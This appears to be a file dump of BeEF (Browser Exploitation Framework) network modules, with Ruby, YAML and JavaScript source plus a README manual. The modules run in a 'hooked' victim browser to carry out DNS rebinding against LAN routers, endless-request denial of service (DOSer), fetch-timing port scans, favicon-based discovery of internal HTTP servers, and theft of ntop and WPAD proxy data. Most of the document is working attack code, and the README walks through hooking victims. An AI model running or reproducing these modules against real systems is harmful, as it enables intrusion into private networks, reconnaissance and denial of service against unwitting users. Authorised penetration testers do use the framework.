# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: dns_rebinding: enable: true category: "Network" name: "DNS Rebinding" description: "dnsrebind" domain: "dnsreb.beefproject.com" authors: ["Milovanov T.I."] target: working: C: min_ver: 1 max_ver: 40 O: min_ver: 1 max_ver: 27 not_working: ["All"]
Ruby
beef/modules/network/dns_rebinding/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Dns_rebinding < BeEF::Core::Command def self.options domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain') dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') url_callback = "http://#{dr_config['address_proxy_external']}:#{dr_config['port_proxy']}" [{ 'name' => 'target', 'value' => '192.168.0.1' }, { 'name' => 'domain', 'value' => domain }, { 'name' => 'url_callback', 'value' => url_callback }] end def pre_send dns = BeEF::Extension::Dns::Server.instance dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') addr = dr_config['address_http_external'] domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain') target_addr = '192.168.0.1' target_addr = @datastore[0]['value'] if @datastore[0] domain = @datastore[1]['value'] if @datastore[1] id = dns.add_rule( pattern: domain, resource: Resolv::DNS::Resource::IN::A, response: [addr, target_addr] ) dns.remove_rule!(id) dns.add_rule( pattern: domain, resource: Resolv::DNS::Resource::IN::A, response: [addr, target_addr] ) end end
Markdown
beef/modules/network/dns_rebinding/README.md
# Manual to DNS Rebinding (aka Anti DNS Pinning aka multiple A record) attack # ## How does attack work in general? ## Attacker must have some domain and DNS server responds to DNS query for this domain. When client's browser connects to the attacker's domain it gets two IP addresses: * First IP address in the DNS response is address of Web page with malicious JavaScript. * Second IP address is from victim's LAN, it is a target address. The client's browser connects to the first IP address in the DNS response and retrieves the HTML file containing the attacker's JavaScript. When the attacker's JavaScript initiates a request back to the attacker's domain via an XMLHttpRequest, the browser will again try to connect to the attacker's Web server. However, since the client's IP is now blocked, the browser will receive a TCP reset packet from the attacker's Web server. The browser will automatically attempt to use the second IP address listed in the DNS response, which is the IP address of the client’s router. The attacker's JavaScript can now send requests to the router as well as view the responses. ## How to launch attack in BeEF? ## 1. First of all, you should register domain, for example *dnsrebinding.org* and register NS server with IP address where BeEF DNS server launched. For tests you can use https://freedns.afraid.org, free third-level domain registrar. 2. Configure DNS Rebinding extension and module. In extension there are four main configs: * *address_http_internal* - IP Address of small HTTP Server, that hooks victim. That address will be in DNS response for victim. * *address_http_external* - If you behind NAT * *address_proxy_internal* - Victim will send on that address responses from target LAN IP. May be the same as address_http. * *address_proxy_external* - If you behind NAT * *port_ proxy* - 81 by default In module main config is *domain*. Module adds DNS rule to BeEF DNS database with the help of this config. 3. Hook victim by help of link contains new registered domain, for example *http://dnsrebinding.org* 4. In BeEF UI open module "DNS Rebinding" and fill *target* field. (That is target IP from victim's LAN, for example 192.168.0.1) Then launch module for hooked browser. Module adds DNS rule with double A record in BeEF DNS database and sends JS. 4. Victim's browser will send query to small HTTP Server of DNS Rebinding extension. Then extension block IP with the help of iptables. Then victim's browser will initiate second XMLHttpRequest to page. And that will be query to target IP. Then sends response from target IP to DNS Rebinding Proxy server. 5. Open in your browser page http://address_proxy:port_proxy/**path**, where **path** is path you want get from target IP. For example, if **path** = **login.html** and target IP is 192.168.0.1 you get HTML page from victim's router, the same as http://192.168.0.1/login.php 6. That is all. Extension uses Iptables to block client. That is no good way, because system() is patched and Iptables need sudo. But victim's browser need get TCP RST from server right away XMLHttpRequest to successful attack. Notice, attack is VERY DEMANDING, there are many things that can break it. For example: 1. If victim's browser already have established connection with target IP in other tab, when browser gets DNS response from BeEF DNS server it will use second (local) IP address instead of public address. 2. If victim's browser have unclear cache with target IP address, browser will use local IP. 3. (!) If victim even has closed, TIME WAIT connection with target IP address - the same, browser will use local IP 4. If victim broke attack (for example close tab with hook page), browser anyway save in cache ip address (local) of web page, and you should wait some time while cache will be clear again. In different browsers that time different. ## References ## 1. http://en.wikipedia.org/wiki/DNS_rebinding 1. https://code.google.com/p/rebind/downloads/list - DNS Rebinding tool implemented on C. Very good explanation of attack in archive: /docs/whitepaper.pdf
JavaScript
beef/modules/network/DOSer/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var url = '<%= @url %>'; var delay = '<%= @delay %>'; var method = '<%= @method %>'; var post_data = '<%= @post_data %>'; if(!!window.Worker){ var myWorker = new Worker(beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/worker.js'); myWorker.onmessage = function (oEvent) { beef.net.send('<%= @command_url %>', <%= @command_id %>, oEvent.data); }; var data = {}; data['url'] = url; data['delay'] = delay; data['method'] = method; data['post_data'] = post_data; myWorker.postMessage(data); }else{ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Error: WebWorkers are not supported on this browser.'); } });
YAML
beef/modules/network/DOSer/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: doser: enable: true category: "Network" name: "DOSer" description: "Do infinite GET or POST requests to a target, spawning a WebWorker in order to don't slow down the hooked page. If the browser doesn't support WebWorkers, the module will not run." authors: ["antisnatchor"] target: working: ["ALL"]
Ruby
beef/modules/network/DOSer/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Doser < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/DOSer/worker.js', '/worker', 'js') end def self.options [ { 'name' => 'url', 'ui_label' => 'URL', 'value' => 'http://target/path' }, { 'name' => 'delay', 'ui_label' => 'Delay between requests (ms)', 'value' => '10' }, { 'name' => 'method', 'ui_label' => 'HTTP Method', 'value' => 'POST' }, { 'name' => 'post_data', 'ui_label' => 'POST data', 'value' => 'key=value&&Aa=Aa&BB' } ] end def post_execute return if @datastore['result'].nil? save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/network/DOSer/worker.js
var url = ""; var delay = 0; var method = ""; var post_data = ""; var counter = 0; onmessage = function (oEvent) { url = oEvent.data['url']; delay = oEvent.data['delay']; method = oEvent.data['method']; post_data = oEvent.data['post_data']; doRequest(); }; function noCache(u){ var result = ""; if(u.indexOf("?") > 0){ result = "&" + Date.now() + Math.random(); }else{ result = "?" + Date.now() + Math.random(); } return result; } function doRequest(){ setInterval(function(){ var xhr = new XMLHttpRequest(); xhr.open(method, url + noCache(url)); xhr.setRequestHeader('Accept','*/*'); xhr.setRequestHeader("Accept-Language", "en"); if(method == "POST"){ xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(post_data); }else{ xhr.send(null); } counter++; },delay); setInterval(function(){ postMessage("Requests sent: " + counter); },10000); }
JavaScript
beef/modules/network/fetch_port_scanner/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // some basic variables to get us started var blocked_ports = [ 1, 7, 9, 11, 13, 15, 17, 19, 20, 21, 22, 23, 25, 37, 42, 43, 53, 77, 79, 87, 95, 101, 102, 103, 104, 109, 110, 111, 113, 115, 117, 119, 123, 135, 139, 143, 179, 389, 465, 512, 513, 514, 515, 526, 530, 531, 532, 540, 548, 556, 563, 587, 601, 636, 993, 995, 2049, 3659, 4045, 6000, 6665, 6666, 6667, 6668, 6669, 65535 ]; var default_ports = [ 1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,631,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088 ]; var default_services = {'1':'tcpmux', '5':'rje', '7':'echo', '9':'msn', '15':'netstat', '20':'ftp-data', '21':'ftp', '22':'ssh', '23':'telnet', '25':'smtp', '26':'rsftp', '29':'msgicp', '33':'dsp', '37':'time', '42':'nameserver', '43':'whois', '53':'domain', '67':'dhcps', '68':'dhcpc', '69':'tftp', '70':'gopher', '76':'deos', '79':'finger', '80':'http', '81':'hosts2-ns', '88':'kerberos-sec', '90':'dnsix', '98':'linuxconf', '101':'hostname', '106':'pop3pw', '109':'pop2', '110':'pop3', '111':'rpcbind', '113':'ident', '114':'audio news', '115':'sftp', '118':'sqlserv', '119':'nntp', '123':'ntp', '129':'pwdgen', '132':'cisco-sys', '133':'statsrv', '135':'msrpc', '136':'profile', '137':'netbios-ns', '138':'netbios-dgm', '139':'netbios-ssn', '143':'imap', '144':'news', '156':'sqlserv', '158':'pcmail-srv', '161':'snmp', '162':'snmp trap', '168':'rsvd', '174':'mailq', '177':'xdmcp', '194':'irc', '197':'dls', '199':'smux', '209':'tam', '213':'ipx', '217':'dbase', '219':'uarps', '220':'imap3', '223':'cdc', '264':'bgmp', '315':'dpsi', '316':'decauth', '346':'zserv', '353':'ndsauth', '389':'ldap', '413':'smsp', '414':'infoseek', '415':'bnet', '416':'silver platter', '440':'sgcp', '443':'https', '444':'snpp', '445':'microsoft-ds', '453':'creativeserver', '454':'content server', '456':'macon', '457':'scohelp', '458':'appleqtc', '462':'datasurfsrvsec', '464':'kpasswd5', '465':'smtps', '466':'digital-vrc', '480':'loadsrv', '486':'sstats', '497':'retrospect', '500':'isakmp', '501':'stmf', '515':'printer (spooler lpd)', '516':'videotex', '518':'ntalk', '522':'ulp', '523':'ibm-db2', '524':'ncp', '525':'timed', '526':'tempo', '533':'netwall', '535':'iiop', '538':'gdomap', '540':'uucp', '541':'uucp-rlogin', '542':'commerce', '543':'klogin', '544':'kshell', '545':'ekshell', '546':'dhcpconf', '547':'dhcpserv', '548':'afp', '556':'remotefs', '557':'openvms-sysipc', '560':'rmonitor', '561':'monitor', '563':'snews', '564':'9pfs', '587':'submission', '625':'apple-xsrvr-admin', '626':'apple-imap-admin', '631':'ipp', '636':'ldapssl', '637':'lanserver', '660':'mac-srvr-admin', '664':'secure-aux-bus', '666':'doom', '683':'corba-iiop', '740':'netcp', '741':'netgw', '742':'netrcs', '744':'flexlm', '747':'fujitsu-dev', '748':'ris-cm', '749':'kerberos-adm', '750':'kerberos', '751':'kerberos_master', '752':'qrh', '753':'rrh', '754':'krb_prop', '758':'nlogin', '760':'krbupdate', '761':'kpasswd', '762':'quotad', '763':'cycleserv', '764':'omserv', '765':'webster', '767':'phonebook', '771':'rtip', '773':'submit', '774':'rpasswd', '775':'entomb', '776':'wpages', '780':'wpgs', '781':'hp-collector', '782':'hp-managed-node', '783':'spam assassin', '786':'concert', '787':'qsc', '799':'controlit', '800':'mdbs_daemon', '801':'device', '808':'ccproxy-http', '871':'supfilesrv', '873':'rsync', '888':'access builder', '898':'sun-manageconsole', '901':'samba-swat', '953':'rndc', '989':'ftps-data', '990':'ftps', '992':'telnets', '993':'imaps', '994':'ircs', '995':'pop3s', '996':'xtreelic', '997':'maitrd', '998':'busboy', '999':'garcon', '1000':'cadlock', '1002':'windows-icfw', '1008':'ufsd', '1023':'netvenuechat', '1024':'kdm', '1025':'NFS-or-IIS', '1080':'socks', '1433':'mssql', '1434':'ms-sql-m', '1521 ':'oracle', '1720':'h323q931', '1723':'pptp', '3306':'mysql', '3389':'ms-wbt-server', '4489':'radmin', '5000':'upnp', '5060':'sip', '5432':'postgres', '5900':'vnc', '6000':'x11', '6001':'X11:1', '6446':'mysql-proxy', '8050':'coldfusion', '8080':'http-proxy', '8443':'tomcat', '8888':'sun-answerbook', '9100':'HP JetDirect card', '10000':'snet-sensor-mgmt', '10088':'zend server', '11371':'hkp'}; var top_ports = [80, 23, 443, 21, 22, 25, 3389, 110, 445, 139, 143, 53, 135, 3306, 8080, 1723, 111, 995, 993, 5900, 1025, 587, 8888, 199, 1720, 465, 548, 113, 81, 6001, 10000, 5060, 515, 5000, 9100]; var host = '<%= @ipHost %>'; var ports = '<%= @ports %>'; var port = ""; var ports_list= []; // function to take the ports provided and turn them into a working array function prepare_ports() { // Default ports to scan if (ports == 'default') { // nmap most used ports to scan + some new ports for ( var i=0; i<default_ports.length; i++) { ports_list[i] = default_ports[i]; } } else if (ports == 'top') { // nmap most used ports to scan + some new ports for ( var i=0; i<top_ports.length; i++) { ports_list[i] = top_ports[i]; } } else { // Custom ports provided to scan if (ports.search(",") > 0) ports_list = ports.split(","); // list of ports else if (ports.search("-") > 0) { var firstport = parseInt(ports.split("-")[0]); // range of ports, start var lastport = parseInt(ports.split("-")[1]); // range of ports, end var a = 0; for (var i = firstport; i<=lastport; i++) { ports_list[a] = firstport + a; a++; } } else ports_list = ports.split(); // single port } } // function to check if port to be scanned is in the browser ERR_UNSAFE_PORT list function check_blocked(port_to_check) { var res = false; for (var i=0; i<blocked_ports.length; i++) { if (port_to_check == blocked_ports[i]) { res = true; } } return res; } // function to use fetch for port scanning function fetch_scan(hostname, port_) { // check if port that is to be scanned is part of the banned list and report back to the BeEF server if (check_blocked(parseInt(port_))) { beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": is a blocked port and won't be scanned", beef.are.status_success()); return; } // define an AbortController to handle timeouts and to terminate connections [currently set to 5 seconds] var controller = new AbortController(); var signal = controller.signal; setTimeout(() => {controller.abort();}, 5000); // record the time so that if the browser is Chrome/Chromium based timing differences can be used to determine port state var start = Date.now(); // setting no-cors here will return a response type of opaque. This means the status code will always be 0 see the following for more details: // * https://fetch.spec.whatwg.org/#concept-filtered-response-opaque // if we don't set the mode we will always receive the 'blocked by CORS policy' response even if the traffic isn't HTTP based. fetch('http://' + hostname + ":"+port_, { method: 'GET', mode: 'no-cors', signal: signal, }) // what to do after fetch returns .then(function(res){ // If there is a status returned then Mozilla Firefox 68.5.0esr made a successful connection HTTP based or not // and or Chrome received HTTP based traffic. if (res.status === 0) { beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open", beef.are.status_success()); } }) // If an error occurred with the fetch this could be due to reaching the time out, the port being closed or non HTTP traffic. .catch(err => { // Alert BeEF if we are giving up due to the port not responding for N seconds if (signal.aborted === true) { beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": Giving up on port due to Timeout", beef.are.status_success()); } else { // We need to capture how long it took to fail ASAP to get an idea on timing differences end=Date.now(); // A basic browser check so that we don't do timing based stuff on Firefox as it is not needed var isFirefox = typeof InstallTrigger !== 'undefined'; if (isFirefox === true) { if (navigator.platform === 'Win32') { if ((end - start) > 600 ) { beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but not HTTP", beef.are.status_success()); } } else { beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); } } else { // console.log('does it work') // // console.log(end-start) // // This is a little sketchy but the only way to tell in Chrome/Chromium if the port is open. Basically sub 11ms connection was refused // // check if windows or linux if (navigator.platform === 'Win32') { if ((end - start) > 121 ) { beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.are.status_success()); } } else if (navigator.platform.toLowerCase().includes('linux')) { // this is for linux if ((end - start) < 11 ) { beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.are.status_success()); } } else { beef.net.send("<%= @command_url %>", <%= @command_id %>,"Module hasn't been tested against this browser.", beef.are.status_success()); } } } }) } // sleep function to support async scanning function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } // parse the provided ports prepare_ports(); // defining an async function to loop through the provided port list async function run() { // if some how we received no ports, bail. if (ports_list.length < 1) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scan aborted, no valid ports provided to scan'); return; } // process the provided port variable else { desc = ''; if (ports == 'default' || ports == 'top') { desc = ports + ' ports on '; } beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scanning ' + desc + host+' [ports: ' + ports_list + ']'); } count = 0; // Determine if browser is Firefox or not if it is no need for rate limited scanning var isFirefox = typeof InstallTrigger !== 'undefined'; while (count < ports_list.length) { // this if/else statement is to account for the necessary sleep we need for chrome. if (isFirefox === true) { // proceed without sleep fetch_scan(host, ports_list[count]); } else { // delay each request by 2 seconds to limit false positives fetch_scan(host, ports_list[count]); await sleep(2000); } count+=1; } // wait to ensure that all scans are complete and then report back to BeEF that the scan is finished await sleep(6000); if(count >= ports_list.length) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Scan Finished'); } } // execute the main async function run() });
YAML
beef/modules/network/fetch_port_scanner/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: fetch_port_scanner: enable: true category: "Network" name: "Fetch Port Scanner" description: " Uses fetch to test the response in order to determine if a port is open or not" authors: ["Crimes by Will", "jcrew99", "salmong1t"] # http://caniuse.com/cors target: working: ["FF", "C", "E", "EP"] not_working: IE: min_ver: 1 max_ver: 11 O: min_ver: 1 max_ver: 11 C: min_ver: 1 max_ver: 5 S: min_ver: 3 max_ver: 5 FF: min_ver: 3 max_ver: 60
Ruby
beef/modules/network/fetch_port_scanner/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fetch_port_scanner < BeEF::Core::Command # set and return all options for this module def self.options [ { 'name' => 'ipHost', 'ui_label' => 'Scan IP or Hostname', 'value' => '127.0.0.1' }, { 'name' => 'ports', 'ui_label' => 'Specific port(s) to scan', 'value' => 'top' } ] end def post_execute content = {} content['result'] = @datastore['result'] save content configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true session_id = @datastore['beefhook'] # @todo log the network service # will need to once the datastore is confirmed. # This should basically try and hook the browser end end
JavaScript
beef/modules/network/get_http_servers/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = "<%= @rhosts %>"; var ports = "<%= @ports %>"; var timeout = parseInt("<%= @timeout %>", 10)*1000; var wait = parseInt("<%= @wait %>", 10)*1000; var threads = parseInt("<%= @threads %>", 10); var urls = new Array('/favicon.ico', '/favicon.png', '/images/favicon.ico', '/images/favicon.png'); if(beef.browser.isO()) { beef.debug("[Favicon Scanner] Browser is not supported."); beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); return; } var sort_unique = function (arr) { arr = arr.sort(function (a, b) { return a*1 - b*1; }); var ret = [arr[0]]; for (var i = 1; i < arr.length; i++) { if (arr[i-1] !== arr[i]) { ret.push(arr[i]); } } return ret; } // set target ports ports = ports.split(','); var target_ports = new Array(); for (var i=0; i<ports.length; i++) { var p = ports[i].replace(/(^\s+|\s+$)/g, ''); if (beef.net.is_valid_port(p)) target_ports.push(p); } ports = sort_unique(target_ports); if (ports.length == 0) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no ports specified", beef.are.status_error()); return; } // set target IP addresses if (ips == 'common') { ips = [ '192.168.0.1', '192.168.0.100', '192.168.0.254', '192.168.1.1', '192.168.1.100', '192.168.1.254', '10.0.0.1', '10.1.1.1', '192.168.2.1', '192.168.2.254', '192.168.100.1', '192.168.100.254', '192.168.123.1', '192.168.123.254', '192.168.10.1', '192.168.10.254' ]; } else { ips = ips.split(','); var target_ips = new Array(); for (var i=0; i<ips.length; i++) { var ip = ips[i].replace(/(^\s+|\s+$)/g, ''); if (beef.net.is_valid_ip(ip)) target_ips.push(ip); else if (beef.net.is_valid_ip_range(ip)) { ipBounds = ip.split('-'); lowerBound = ipBounds[0].split('.')[3]; upperBound = ipBounds[1].split('.')[3]; for (var i = lowerBound; i <= upperBound; i++) { target_ips.push(ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i); } } } ips = sort_unique(target_ips); if (ips.length == 0) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed target IP address(es) supplied", beef.are.status_error()); return; } } // request the specified paths from the specified URL // and report all live URLs back to BeEF checkFavicon = function(proto, ip, port, uri) { var img = new Image; var dom = beef.dom.createInvisibleIframe(); beef.debug("[Favicon Scanner] Checking IP [" + ip + "] (" + proto + ")"); img.src = proto+"://"+ip+":"+port+uri; img.onerror = function() { dom.removeChild(this); } img.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this); beef.debug("[Favicon Scanner] Found HTTP Server [" + escape(this.src) + "]"); } dom.appendChild(img); // stop & remove iframe setTimeout(function() { if (dom.contentWindow.stop !== undefined) { dom.contentWindow.stop(); } else if (dom.contentWindow.document.execCommand !== undefined) { dom.contentWindow.document.execCommand("Stop", false); } document.body.removeChild(dom); }, timeout); } // configure workers WorkerQueue = function(id, frequency) { var stack = []; var timer = null; var frequency = frequency; var start_scan = (new Date).getTime(); this.process = function() { var item = stack.shift(); eval(item); if (stack.length === 0) { clearInterval(timer); timer = null; var interval = (new Date).getTime() - start_scan; beef.debug("[Favicon Scanner] Worker #"+id+" has finished ["+interval+" ms]"); return; } } this.queue = function(item) { stack.push(item); if (timer === null) timer = setInterval(this.process, frequency); } } // create workers var workers = new Array(); for (var id = 0; id < threads; id++) workers.push(new WorkerQueue(id, wait)); // for each favicon path: for (var u=0; u < urls.length; u++) { var worker = workers[u % threads]; // for each LAN IP address: for (var i=0; i < ips.length; i++) { // for each port: for (var p=0; p < ports.length; p++) { var host = ips[i]; var port = ports[p]; if (port == '443') var proto = 'https'; else var proto = 'http'; // add URL to worker queue worker.queue('checkFavicon("'+proto+'","'+host+'","'+port+'","'+urls[u]+'");'); } } } });
YAML
beef/modules/network/get_http_servers/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_http_servers: enable: true category: "Network" name: "Get HTTP Servers (Favicon)" description: "Attempts to discover HTTP servers on the specified IP range by checking for a favicon.<br/><br/>Note: You can specify multiple remote IP addresses (separated by commas) or a range of IP addresses for a class C network (10.1.1.1-10.1.1.254). Set the IP address to 'common' to scan a list of common LAN addresses." authors: ["bcoles"] target: working: ["IE", "S"] user_notify: ["FF", "C", "MI", "OD"] not_working: ["O"]
Ruby
beef/modules/network/get_http_servers/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_http_servers < BeEF::Core::Command def self.options [ { 'name' => 'rhosts', 'ui_label' => 'Remote IP(s)', 'value' => 'common' }, { 'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080' }, { 'name' => 'threads', 'ui_label' => 'Workers', 'value' => '3' }, { 'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '5' }, { 'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10' } ] end def post_execute content = {} content['url'] = @datastore['url'] unless @datastore['url'].nil? content['fail'] = 'No HTTP servers were discovered.' if content.empty? save content configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true return unless @datastore['results'] =~ /^proto=(.+)&ip=(.+)&port=(\d+)&url=(.+)/ proto = Regexp.last_match(1) ip = Regexp.last_match(2) port = Regexp.last_match(3) url = Regexp.last_match(4) session_id = @datastore['beefhook'] if !ip.nil? && BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found HTTP Server [proto: #{proto}, ip: #{ip}, port: #{port}]") BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: 'HTTP Server') end end end
JavaScript
beef/modules/network/get_ntop_network_hosts/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; load_script = function(url) { beef.debug("[Get ntop Network Hosts] Loading: " + url); var s = document.createElement("script"); s.type = 'text/javascript'; s.src = url; document.body.appendChild(s); } read_ntop = function() { try { var result = JSON.stringify(ntopDict); beef.debug("[Get ntop Network Hosts] Success: Found ntop data (" + result.length + ' bytes)'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto=http&ip=<%= @rhost %>&port=<%= @rport %>&data="+result, beef.are.status_success()); } catch(e) { beef.debug("[Get ntop Network Hosts] Error: Did not find ntop"); beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=did not find ntop', beef.are.status_error()); return; } } load_script("http://"+rhost+":"+rport+"/dumpData.html?language=python&view=long"); setTimeout("read_ntop()", 10000); });
YAML
beef/modules/network/get_ntop_network_hosts/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_ntop_network_hosts: enable: true category: "Network" name: "Get ntop Network Hosts" description: "This module retrieves network information from ntop (unauthenticated).<br/><br/>Tested on:<ul><li>ntop v.5.0.1 on Ubuntu 14.04.1 Server (x86_64)</li><li>ntop v.5.0 on Fedora 19.1 (x86_64)</li><li>ntop v.4.1.0 on Solaris 11.1 (x86)</li></ul><br/>This module does not work for ntop-ng." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/network/get_ntop_network_hosts/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_ntop_network_hosts < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' }, { 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '3000' } ] end def post_execute save({ 'result' => @datastore['result'] }) configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true return unless @datastore['results'] =~ /^proto=(https?)&ip=([\d.]+)&port=(\d+)&data=(.+)\z/ proto = Regexp.last_match(1) ip = Regexp.last_match(2) port = Regexp.last_match(3) data = Regexp.last_match(4) session_id = @datastore['beefhook'] type = 'ntop' if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found 'ntop' [proto: #{proto}, ip: #{ip}, port: #{port}]") BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: type) end data.to_s.scan(/"hostNumIpAddress":"([\d.]+)"/).flatten.each do |ip| if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found host #{ip}") BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip, port: port) end end end end
JavaScript
beef/modules/network/get_proxy_servers_wpad/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { load_script = function(url) { beef.debug("[Get Proxy Servers] Loading: " + url); var s = document.createElement("script"); s.type = 'text/javascript'; s.src = url; document.body.appendChild(s); } read_wpad = function() { if (typeof FindProxyForURL === 'function') { var wpad = FindProxyForURL.toString(); beef.debug("[Get Proxy Servers] Success: Found wpad (" + wpad.length + ' bytes)'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad, beef.are.status_success()); } else { beef.debug("[Get Proxy Servers] Error: Did not find wpad"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=false"); return; } var proxies = []; var proxyRe = /PROXY\s+[a-zA-Z0-9\.\-_]+:[0-9]{1,5}/g; while (match = proxyRe.exec(wpad)) { proxies.push(match[0]); } var proxyRe = /SOCKS\s+[a-zA-Z0-9\.\-_]+:[0-9]{1,5}/g; while (match = proxyRe.exec(wpad)) { proxies.push(match[0]); } if (proxies.length == 0) { beef.debug("[Get Proxy Servers] Found no proxies"); return; } beef.debug("[Get Proxy Servers] Found "+proxies.length+" proxies: " + proxies.join(',')); beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','), beef.are.status_success()); } load_script("http://wpad/wpad.dat"); load_script("http://wpad/wpad.pac"); load_script("http://wpad/proxy.dat"); load_script("http://wpad/proxy.pac"); setTimeout("read_wpad()", 10000); });
YAML
beef/modules/network/get_proxy_servers_wpad/config.yaml
